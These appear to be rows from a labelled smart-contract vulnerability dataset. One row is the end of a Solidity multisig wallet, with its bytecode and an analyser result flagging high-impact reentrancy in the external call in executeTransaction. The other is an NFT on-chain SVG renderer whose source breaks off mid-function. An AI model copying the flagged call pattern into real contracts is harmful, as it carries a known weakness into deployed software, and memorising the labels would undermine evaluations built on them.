notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
// address(txn.destination).call(abi.encodeWithSignature(txn.data))
(bool success, bytes memory data) = txn.destination.call{value: txn.value}(txn.data);
if (success)
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
/*
* Internal functions
*/
/*@dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
@param destination Transaction target address.
@param value Transaction ether value.
@param data Transaction data payload.
@return Returns transaction ID.*/
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false,
submitTime: block.timestamp
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/*@dev Returns number of confirmations of a transaction.
@param transactionId Transaction ID.
@return Number of confirmations.*/
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
count = 0;
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/*@dev Returns total number of transactions after filers are applied.
@param pending Include pending transactions.
@param executed Include executed transactions.
@return Total number of transactions after filters are applied.*/
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
count = 0;
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/*@dev Returns array with owner addresses, which confirmed transaction.
@param transactionId Transaction ID.
@return Returns array of owner addresses.*/
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/*@dev Returns list of transaction IDs in defined range.
@param from Index start position of transaction array.
@param to Index end position of transaction array.
@param pending Include pending transactions.
@param executed Include executed transactions.
@return Returns array of transaction IDs.*/
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function getBlockTimestamp() view internal returns (uint) {
return block.timestamp;
}
}
|
0x6080604052600436106101395760003560e01c8063a8abe69a116100ab578063c64274741161006f578063c642747414610588578063d306b9da14610650578063d74f8edd14610700578063dc8452cd14610715578063e20056e61461072a578063ee22610b146107655761017d565b8063a8abe69a146104b5578063b5dc40c3146104f5578063b77bf6001461051f578063ba51a6df14610534578063c01a8c841461055e5761017d565b806354741525116100fd57806354741525146102af5780637065cb48146102f5578063784547a7146103285780638b51d13f146103525780639ace38c21461037c578063a0e67e2b146104505761017d565b8063025e7c271461018c578063173825d9146101d257806320ea8d86146102055780632f54bf6e1461022f5780633411c81c146102765761017d565b3661017d57341561017b5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561018957600080fd5b50005b34801561019857600080fd5b506101b6600480360360208110156101af57600080fd5b503561078f565b604080516001600160a01b039092168252519081900360200190f35b3480156101de57600080fd5b5061017b600480360360208110156101f557600080fd5b50356001600160a01b03166107b6565b34801561021157600080fd5b5061017b6004803603602081101561022857600080fd5b5035610985565b34801561023b57600080fd5b506102626004803603602081101561025257600080fd5b50356001600160a01b0316610ae8565b604080519115158252519081900360200190f35b34801561028257600080fd5b506102626004803603604081101561029957600080fd5b50803590602001356001600160a01b0316610afd565b3480156102bb57600080fd5b506102e3600480360360408110156102d257600080fd5b508035151590602001351515610b1d565b60408051918252519081900360200190f35b34801561030157600080fd5b5061017b6004803603602081101561031857600080fd5b50356001600160a01b0316610b89565b34801561033457600080fd5b506102626004803603602081101561034b57600080fd5b5035610d93565b34801561035e57600080fd5b506102e36004803603602081101561037557600080fd5b5035610e1e565b34801561038857600080fd5b506103a66004803603602081101561039f57600080fd5b5035610e8d565b60405180866001600160a01b03166001600160a01b031681526020018581526020018060200184151515158152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156104115781810151838201526020016103f9565b50505050905090810190601f16801561043e5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561045c57600080fd5b50610465610f52565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104a1578181015183820152602001610489565b505050509050019250505060405180910390f35b3480156104c157600080fd5b50610465600480360360808110156104d857600080fd5b508035906020810135906040810135151590606001351515610fb5565b34801561050157600080fd5b506104656004803603602081101561051857600080fd5b503561110e565b34801561052b57600080fd5b506102e36112b2565b34801561054057600080fd5b5061017b6004803603602081101561055757600080fd5b50356112b8565b34801561056a57600080fd5b5061017b6004803603602081101561058157600080fd5b50356113af565b34801561059457600080fd5b506102e3600480360360608110156105ab57600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156105db57600080fd5b8201836020820111156105ed57600080fd5b8035906020019184600183028401116401000000008311171561060f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611531945050505050565b34801561065c57600080fd5b5061017b6004803603602081101561067357600080fd5b81019060208101813564010000000081111561068e57600080fd5b8201836020820111156106a057600080fd5b803590602001918460208302840111640100000000831117156106c257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611550945050505050565b34801561070c57600080fd5b506102e3611584565b34801561072157600080fd5b506102e3611589565b34801561073657600080fd5b5061017b6004803603604081101561074d57600080fd5b506001600160a01b038135811691602001351661158f565b34801561077157600080fd5b5061017b6004803603602081101561078857600080fd5b50356117b4565b6003818154811061079c57fe5b6000918252602090912001546001600160a01b0316905081565b3330146107f8576040805162461bcd60e51b815260206004820152601b6024820152600080516020611c00833981519152604482015290519081900360640190fd5b6001600160a01b038116600090815260026020526040902054819060ff16610856576040805162461bcd60e51b815260206004820152600c60248201526b34b9903737ba1037bbb732b960a11b604482015290519081900360640190fd5b6001600160a01b0382166000908152600260205260408120805460ff191690555b6003546000190181101561092a57826001600160a01b03166003828154811061089c57fe5b6000918252602090912001546001600160a01b03161415610922576003805460001981019081106108c957fe5b600091825260209091200154600380546001600160a01b0390921691839081106108ef57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061092a565b600101610877565b50600160038054905003600454111561094d5760035461094d90600019016112b8565b6040516001600160a01b038316907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25050565b3360008181526002602052604090205460ff166109d8576040805162461bcd60e51b815260206004820152600c60248201526b34b9903737ba1037bbb732b960a11b604482015290519081900360640190fd5b60008281526001602090815260408083203380855292529091205483919060ff16610a3d576040805162461bcd60e51b815260206004820152601060248201526f1a5cc81b9bdd0818dbdb999a5c9b595960821b604482015290519081900360640190fd5b600084815260208190526040902060030154849060ff1615610a99576040805162461bcd60e51b815260206004820152601060248201526f185b1c9958591e48195e1958dd5d195960821b604482015290519081900360640190fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610b8257838015610b4a575060008181526020819052604090206003015460ff16155b80610b6e5750828015610b6e575060008181526020819052604090206003015460ff165b15610b7a576001820191505b600101610b21565b5092915050565b333014610bcb576040805162461bcd60e51b815260206004820152601b6024820152600080516020611c00833981519152604482015290519081900360640190fd5b6001600160a01b038116600090815260026020526040902054819060ff1615610c2e576040805162461bcd60e51b815260206004820152601060248201526f34b99030b63932b0b23c9037bbb732b960811b604482015290519081900360640190fd5b816001600160a01b038116610c83576040805162461bcd60e51b81526020600482015260166024820152755f61646472657373203d3d206164647265737328302960501b604482015290519081900360640190fd5b60038054905060010160045460328211158015610ca05750818111155b8015610cab57508015155b8015610cb657508115155b610d03576040805162461bcd60e51b81526020600482015260196024820152786572726f723a2076616c6964526571756972656d656e74282960381b604482015290519081900360640190fd5b6001600160a01b038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b03191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610e125760008481526001602052604081206003805491929184908110610dc157fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610df5576001820191505b600454821415610e0a57600192505050610e19565b600101610d98565b5060009150505b919050565b6000805b600354811015610e875760008381526001602052604081206003805491929184908110610e4b57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff1615610e7f576001820191505b600101610e22565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f81018890048802840188019096528583526001600160a01b0390931695909491929190830182828015610f385780601f10610f0d57610100808354040283529160200191610f38565b820191906000526020600020905b815481529060010190602001808311610f1b57829003601f168201915b505050506003830154600490930154919260ff1691905085565b60606003805480602002602001604051908101604052809291908181526020018280548015610faa57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610f8c575b505050505090505b90565b60608060055467ffffffffffffffff81118015610fd157600080fd5b50604051908082528060200260200182016040528015610ffb578160200160208202803683370190505b5090506000805b60055481101561107c5785801561102b575060008181526020819052604090206003015460ff16155b8061104f575084801561104f575060008181526020819052604090206003015460ff165b15611074578083838151811061106157fe5b6020026020010181815250506001820191505b600101611002565b87870367ffffffffffffffff8111801561109557600080fd5b506040519080825280602002602001820160405280156110bf578160200160208202803683370190505b5093508790505b86811015611103578281815181106110da57fe5b602002602001015184898303815181106110f057fe5b60209081029190910101526001016110c6565b505050949350505050565b600354606090819067ffffffffffffffff8111801561112c57600080fd5b50604051908082528060200260200182016040528015611156578160200160208202803683370190505b5090506000805b600354811015611219576000858152600160205260408120600380549192918490811061118657fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161561121157600381815481106111c057fe5b9060005260206000200160009054906101000a90046001600160a01b03168383815181106111ea57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506001820191505b60010161115d565b8167ffffffffffffffff8111801561123057600080fd5b5060405190808252806020026020018201604052801561125a578160200160208202803683370190505b509350600090505b818110156112aa5782818151811061127657fe5b602002602001015184828151811061128a57fe5b6001600160a01b0390921660209283029190910190910152600101611262565b505050919050565b60055481565b3330146112fa576040805162461bcd60e51b815260206004820152601b6024820152600080516020611c00833981519152604482015290519081900360640190fd5b600354816032821180159061130f5750818111155b801561131a57508015155b801561132557508115155b611372576040805162461bcd60e51b81526020600482015260196024820152786572726f723a2076616c6964526571756972656d656e74282960381b604482015290519081900360640190fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff16611402576040805162461bcd60e51b815260206004820152600c60248201526b34b9903737ba1037bbb732b960a11b604482015290519081900360640190fd5b60008281526020819052604090205482906001600160a01b031661146d576040805162461bcd60e51b815260206004820152601b60248201527f7472616e73616374696f6e4964206973206e6f74206578697374730000000000604482015290519081900360640190fd5b60008381526001602090815260408083203380855292529091205484919060ff16156114d4576040805162461bcd60e51b8152602060048201526011602482015270185b1c9958591e4818dbdb999a5c9b5959607a1b604482015290519081900360640190fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a361152a856117b4565b5050505050565b600061153e848484611a36565b9050611549816113af565b9392505050565b60005b81518110156115805761157882828151811061156b57fe5b60200260200101516113af565b600101611553565b5050565b603281565b60045481565b3330146115d1576040805162461bcd60e51b815260206004820152601b6024820152600080516020611c00833981519152604482015290519081900360640190fd5b6001600160a01b038216600090815260026020526040902054829060ff1661162f576040805162461bcd60e51b815260206004820152600c60248201526b34b9903737ba1037bbb732b960a11b604482015290519081900360640190fd5b6001600160a01b038216600090815260026020526040902054829060ff1615611692576040805162461bcd60e51b815260206004820152601060248201526f34b99030b63932b0b23c9037bbb732b960811b604482015290519081900360640190fd5b60005b60035481101561171a57846001600160a01b0316600382815481106116b657fe5b6000918252602090912001546001600160a01b031614156117125783600382815481106116df57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061171a565b600101611695565b506001600160a01b03808516600081815260026020526040808220805460ff1990811690915593871682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a26040516001600160a01b038416907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a250505050565b3360008181526002602052604090205460ff16611807576040805162461bcd60e51b815260206004820152600c60248201526b34b9903737ba1037bbb732b960a11b604482015290519081900360640190fd5b60008281526001602090815260408083203380855292529091205483919060ff1661186c576040805162461bcd60e51b815260206004820152601060248201526f1a5cc81b9bdd0818dbdb999a5c9b595960821b604482015290519081900360640190fd5b600084815260208190526040902060030154849060ff16156118c8576040805162461bcd60e51b815260206004820152601060248201526f185b1c9958591e48195e1958dd5d195960821b604482015290519081900360640190fd5b6118d185610d93565b1561152a5760008581526020819052604080822060038101805460ff191660019081179091558154818301549351600280850180549597966060966001600160a01b0390951695909491939283928592600019908216156101000201160480156119725780601f10611950576101008083540402835291820191611972565b820191906000526020600020905b81548152906001019060200180831161195e575b505091505060006040518083038185875af1925050503d80600081146119b4576040519150601f19603f3d011682016040523d82523d6000602084013e6119b9565b606091505b509150915081156119f45760405188907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a2611a2c565b60405188907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038301805460ff191690555b5050505050505050565b6000836001600160a01b038116611a8d576040805162461bcd60e51b81526020600482015260166024820152755f61646472657373203d3d206164647265737328302960501b604482015290519081900360640190fd5b6005546040805160a0810182526001600160a01b038881168252602080830189815283850189815260006060860181905242608087015287815280845295909520845181546001600160a01b03191694169390931783555160018301559251805194965091939092611b06926002850192910190611b67565b50606082015160038201805460ff191691151591909117905560809091015160049091015560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ba857805160ff1916838001178555611bd5565b82800160010185558215611bd5579182015b82811115611bd5578251825591602001919060010190611bba565b50611be1929150611be5565b5090565b610fb291905b80821115611be15760008155600101611beb56fe6d73672e73656e64657220213d20616464726573732874686973290000000000a26469706673582212207c14ecb06687d96c4509f7dcb1be4ed0fc5381c8aee04186467e72f9d2f60d6464736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,362 |
0xf6B6D02faFFe1f264E598C98bB31DCD7113cDd74
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
/*
██████╗░██╗██╗░░██╗███████╗██╗░░░░░░█████╗░████████╗██╗░█████╗░███╗░░██╗░██████╗
██╔══██╗██║╚██╗██╔╝██╔════╝██║░░░░░██╔══██╗╚══██╔══╝██║██╔══██╗████╗░██║██╔════╝
██████╔╝██║░╚███╔╝░█████╗░░██║░░░░░███████║░░░██║░░░██║██║░░██║██╔██╗██║╚█████╗░
██╔═══╝░██║░██╔██╗░██╔══╝░░██║░░░░░██╔══██║░░░██║░░░██║██║░░██║██║╚████║░╚═══██╗
██║░░░░░██║██╔╝╚██╗███████╗███████╗██║░░██║░░░██║░░░██║╚█████╔╝██║░╚███║██████╔╝
╚═╝░░░░░╚═╝╚═╝░░╚═╝╚══════╝╚══════╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░╚════╝░╚═╝░░╚══╝╚═════╝░
What are Pixelations?
Pixelations are an NFT collection of 32x32 pixelated images. There are 3,232 Pixelations,
each 100% stored and rendered on-chain.
For this collection, we took a unique approach. Rather than designing the art ourselves,
we are giving the minter the ability to provide the art. This image could be anything:
an IRL photo, a painting, or a JPEG pulled off the internet.
How does it work?
Upon minting, we perform a number of image processing steps in order to viably store your
image on chain, and also reduce minting gas fees as much as possible. At a high level we
do the following off chain:
1. Convert the image into 32x32 pixels.
2. Extract the 32 colors that best represent the image via k-means clustering.
3. Compress the image via bit-packing since we now only need 5-bits to represent it's 32 colors.
After these off chain steps, your image is roughly 700 bytes of data that we store in
our custom ERC-721 smart contract. When sites like OpenSea attempt to fetch your
Pixelation's metadata and image, our contract renders an SVG at run-time.
----------------------------------------------------------------------------
Special shoutout to Chainrunners and Blitmap for the inspiration and help.
We used a lot of the same techniques in order to perform efficient rendering.
*/
contract PixelationsRenderer {
struct SVGRowBuffer {
string one;
string two;
string three;
string four;
string five;
string six;
string seven;
string eight;
}
struct SVGCursor {
uint8 x;
uint8 y;
string color1;
string color2;
string color3;
string color4;
}
constructor() {}
// This returns the base64-encoded JSON metadata for the given token. Metadata looks like this:
//
// {
// "image_data": "<svg>...</svg>",
// "name": "Pixelation #32",
// "description": "A 32x32 pixelated image, stored and rendered completely on chain."
// }
//
// As you'll see in the rest of this contract, we try to keep everything pre base64-encoded.
function tokenURI(uint256 tokenId, bytes memory tokenData) public view virtual returns (string memory) {
string[4] memory buffer = tokenSvgDataOf(tokenData);
return
string(
abi.encodePacked(
"data:application/json;base64,eyAgImltYWdlX2RhdGEiOiAiPHN2ZyB2ZXJzaW9uPScxLjEnIHZpZXdCb3g9JzAgMCAzMjAgMzIwJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHNoYXBlLXJlbmRlcmluZz0nY3Jpc3BFZGdlcyc+",
buffer[0],
buffer[1],
buffer[2],
buffer[3],
"PHN0eWxlPnJlY3R7d2lkdGg6MTBweDtoZWlnaHQ6MTBweDt9PC9zdHlsZT48L3N2Zz4iLCAgIm5hbWUiOiAiUGl4ZWxhdGlvbiAj",
Base64.encode(uintToByteString(tokenId, 6)),
"IiwgImRlc2NyaXB0aW9uIjogIkEgMzJ4MzIgcGl4ZWxhdGVkIGltYWdlLCBzdG9yZWQgYW5kIHJlbmRlcmVkIGNvbXBsZXRlbHkgb24gY2hhaW4uIn0g"
)
);
}
// Handy function for only rendering the svg.
function tokenSVG(bytes memory tokenData) public pure returns (string memory) {
string[4] memory buffer = tokenSvgDataOf(tokenData);
return
string(
abi.encodePacked(
"PHN2ZyB2ZXJzaW9uPScxLjEnIHZpZXdCb3g9JzAgMCAzMjAgMzIwJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHNoYXBlLXJlbmRlcmluZz0nY3Jpc3BFZGdlcyc+",
buffer[0],
buffer[1],
buffer[2],
buffer[3],
"PHN0eWxlPnJlY3R7d2lkdGg6MTBweDtoZWlnaHQ6MTBweDt9PC9zdHlsZT48L3N2Zz4"
)
);
}
// In order to convert the Pixelations's tokenData into a valid svg, we need
// to loop over every pixel, grab the color for that pixel, and generate an svg rect for
// that pixel. The difficulty is doing this in a gas efficient manner.
//
// The naive approach would be to store the output in a string, and continually append
// svg rects to that string via abi.encodePacked. However calling abi.encodePacked on
// a successively larger output string is expensive. And so the solution here is to
// build up a series of buffers of strings. The first buffer contains 8 strings where
// each string is a single row of svg rects. The second buffer contains 4 strings
// where each string is 8 rows of svg rects (really its just the concatenation of the
// previous buffer).
//
// At the end we return this buffer of 4 strings, and it is up to the caller to concatenate
// those strings together in order to form the resulting svg.
//
// Shoutout to Chainrunners for the help here.
function tokenSvgDataOf(bytes memory tokenData) private pure returns (string[4] memory) {
SVGCursor memory cursor;
SVGRowBuffer memory cursorRow;
string[8] memory bufferOfRows;
uint8 indexIntoBufferOfRows;
string[4] memory bufferOfEightRows;
uint8 indexIntoBufferOfEightRows;
// base64-encoded svg coordinates from 010 to 310
string[32] memory coordinateLookup = [
"MDAw", "MDEw", "MDIw", "MDMw", "MDQw", "MDUw", "MDYw", "MDcw", "MDgw", "MDkw", "MTAw", "MTEw", "MTIw", "MTMw", "MTQw", "MTUw", "MTYw", "MTcw", "MTgw", "MTkw", "MjAw", "MjEw", "MjIw", "MjMw", "MjQw", "MjUw", "MjYw", "Mjcw", "Mjgw", "Mjkw", "MzAw", "MzEw"
];
for (uint256 dataIndex = 0; dataIndex < 1024; ) {
cursor.color1 = getColor(tokenData, dataIndex, 0);
cursor.color2 = getColor(tokenData, dataIndex, 1);
cursor.color3 = getColor(tokenData, dataIndex, 2);
cursor.color4 = getColor(tokenData, dataIndex, 3);
cursorRow.one = fourPixels(coordinateLookup, cursor);
cursor.x += 4;
cursor.color1 = getColor(tokenData, dataIndex, 4);
cursor.color2 = getColor(tokenData, dataIndex, 5);
cursor.color3 = getColor(tokenData, dataIndex, 6);
cursor.color4 = getColor(tokenData, dataIndex, 7);
cursorRow.two = fourPixels(coordinateLookup, cursor);
dataIndex += 8;
cursor.x += 4;
cursor.color1 = getColor(tokenData, dataIndex, 0);
cursor.color2 = getColor(tokenData, dataIndex, 1);
cursor.color3 = getColor(tokenData, dataIndex, 2);
cursor.color4 = getColor(tokenData, dataIndex, 3);
cursorRow.three = fourPixels(coordinateLookup, cursor);
cursor.x += 4;
cursor.color1 = getColor(tokenData, dataIndex, 4);
cursor.color2 = getColor(tokenData, dataIndex, 5);
cursor.color3 = getColor(tokenData, dataIndex, 6);
cursor.color4 = getColor(tokenData, dataIndex, 7);
cursorRow.four = fourPixels(coordinateLookup, cursor);
dataIndex += 8;
cursor.x += 4;
cursor.color1 = getColor(tokenData, dataIndex, 0);
cursor.color2 = getColor(tokenData, dataIndex, 1);
cursor.color3 = getColor(tokenData, dataIndex, 2);
cursor.color4 = getColor(tokenData, dataIndex, 3);
cursorRow.five = fourPixels(coordinateLookup, cursor);
cursor.x += 4;
cursor.color1 = getColor(tokenData, dataIndex, 4);
cursor.color2 = getColor(tokenData, dataIndex, 5);
cursor.color3 = getColor(tokenData, dataIndex, 6);
cursor.color4 = getColor(tokenData, dataIndex, 7);
cursorRow.six = fourPixels(coordinateLookup, cursor);
dataIndex += 8;
cursor.x += 4;
cursor.color1 = getColor(tokenData, dataIndex, 0);
cursor.color2 = getColor(tokenData, dataIndex, 1);
cursor.color3 = getColor(tokenData, dataIndex, 2);
cursor.color4 = getColor(tokenData, dataIndex, 3);
cursorRow.seven = fourPixels(coordinateLookup, cursor);
cursor.x += 4;
cursor.color1 = getColor(tokenData, dataIndex, 4);
cursor.color2 = getColor(tokenData, dataIndex, 5);
cursor.color3 = getColor(tokenData, dataIndex, 6);
cursor.color4 = getColor(tokenData, dataIndex, 7);
cursorRow.eight = fourPixels(coordinateLookup, cursor);
dataIndex += 8;
bufferOfRows[indexIntoBufferOfRows++] = string(
abi.encodePacked(
cursorRow.one,
cursorRow.two,
cursorRow.three,
cursorRow.four,
cursorRow.five,
cursorRow.six,
cursorRow.seven,
cursorRow.eight
)
);
cursor.x = 0;
cursor.y += 1;
if (indexIntoBufferOfRows >= 8) {
bufferOfEightRows[indexIntoBufferOfEightRows++] = string(
abi.encodePacked(
bufferOfRows[0],
bufferOfRows[1],
bufferOfRows[2],
bufferOfRows[3],
bufferOfRows[4],
bufferOfRows[5],
bufferOfRows[6],
bufferOfRows[7]
)
);
indexIntoBufferOfRows = 0;
}
}
return bufferOfEightRows;
}
// Extracts the base64-encoded hex color for a single pixel.
function getColor(
bytes memory tokenData,
uint256 dataIndex,
uint256 offset
) internal pure returns (string memory) {
uint256 pixelIndex = dataIndex + offset;
uint256 indexIntoColors = getColorIndexFromPixelIndex(tokenData, pixelIndex);
bytes memory rgbBytes = subBytesOfLength3(tokenData, indexIntoColors * 3 + 640);
uint256 n = uint256(uint8(rgbBytes[0]));
n = (n << 8) + uint256(uint8(rgbBytes[1]));
n = (n << 8) + uint256(uint8(rgbBytes[2]));
return Base64.encode(uintToHexBytes6(n));
}
// Unpack the 5-bit value representing the color index for a given pixel. A bunch of bitwise operations
// needed to pull this off. Code is confusing af, just trust me that the math works out here.
function getColorIndexFromPixelIndex(bytes memory tokenData, uint256 pixelIndex) internal pure returns (uint8) {
uint256 indexIntoBytes = (5 * pixelIndex) / 8;
uint8 indexIntoByte = uint8((5 * pixelIndex) % 8);
uint8 value = 0;
uint8 indexedByte = uint8(tokenData[indexIntoBytes]);
if (indexIntoByte >= 3) {
uint8 mod = uint8(2**(8 - indexIntoByte));
uint8 shift = (indexIntoByte - 3);
value = (indexedByte % mod) << shift;
} else {
uint8 mod = (3 - indexIntoByte);
value = (indexedByte >> mod) % 32;
}
if (indexIntoByte > 3) {
uint8 leftoverBits = indexIntoByte - 3;
uint8 nextByte = uint8(tokenData[indexIntoBytes + 1]);
value += nextByte >> (8 - leftoverBits);
}
return value;
}
function subBytesOfLength3(bytes memory bb, uint256 startIndex) internal pure returns (bytes memory) {
bytes memory result = new bytes(3);
for (uint256 i = startIndex; i < startIndex + 3; i++) {
result[i - startIndex] = bb[i];
}
return result;
}
// Rather than constructing each svg rect one at a time, let's save on gas and construct four at a time.
// Unfortunately we can't construct more than four pixels at a time, otherwise we would
// run into "stack too deep" errors at compile time.
//
// In order to get this to compile correctly, make sure to have the following compiler settings:
//
// optimizer: {
// enabled: true,
// runs: 2000,
// details: {
// yul: true,
// yulDetails: {
// stackAllocation: true,
// optimizerSteps: "dhfoDgvulfnTUtnIf"
// }
// }
// }
function fourPixels(string[32] memory coordinateLookup, SVGCursor memory pos) internal pure returns (string memory) {
return
string(
abi.encodePacked(
"PHJlY3QgICBmaWxsPScj",
pos.color1,
"JyAgeD0n",
coordinateLookup[pos.x],
"JyAgeT0n",
coordinateLookup[pos.y],
"JyAvPjxyZWN0ICBmaWxsPScj",
pos.color2,
"JyAgeD0n",
coordinateLookup[pos.x + 1],
"JyAgeT0n",
coordinateLookup[pos.y],
"JyAvPjxyZWN0ICBmaWxsPScj",
pos.color3,
"JyAgeD0n",
coordinateLookup[pos.x + 2],
"JyAgeT0n",
coordinateLookup[pos.y],
"JyAvPjxyZWN0ICBmaWxsPScj",
pos.color4,
"JyAgeD0n",
coordinateLookup[pos.x + 3],
"JyAgeT0n",
coordinateLookup[pos.y],
"JyAgIC8+"
)
);
}
function uintToHexBytes6(uint256 a) public pure returns (bytes memory) {
string memory str = uintToHexString2(a);
if (bytes(str).length == 2) {
return abi.encodePacked("0000", str);
} else if (bytes(str).length == 3) {
return abi.encodePacked("000", str);
} else if (bytes(str).length == 4) {
return abi.encodePacked("00", str);
} else if (bytes(str).length == 5) {
return abi.encodePacked("0", str);
}
return bytes(str);
}
/*
Convert uint to hex string, padding to 2 hex nibbles
*/
function uintToHexString2(uint256 a) public pure returns (string memory) {
uint256 count = 0;
uint256 b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint256 i = 0; i < count; ++i) {
b = a % 16;
res[count - i - 1] = uintToHexDigit(uint8(b));
a /= 16;
}
string memory str = string(res);
if (bytes(str).length == 0) {
return "00";
} else if (bytes(str).length == 1) {
return string(abi.encodePacked("0", str));
}
return str;
}
function uintToHexDigit(uint8 d) public pure returns (bytes1) {
if (0 <= d && d <= 9) {
return bytes1(uint8(bytes1("0")) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return bytes1(uint8(bytes1("a")) + d - 10);
}
revert();
}
function uintToByteString(uint256 a, uint256 fixedLen) internal pure returns (bytes memory _uintAsString) {
uint256 j = a;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(fixedLen);
j = fixedLen;
if (a == 0) {
bstr[0] = "0";
len = 1;
}
while (j > len) {
j = j - 1;
bstr[j] = bytes1(" ");
}
uint256 k = len;
while (a != 0) {
k = k - 1;
uint8 temp = (48 + uint8(a - (a / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
a /= 10;
}
return bstr;
}
}
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
uint256 encodedLen = 4 * ((len + 2) / 3);
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
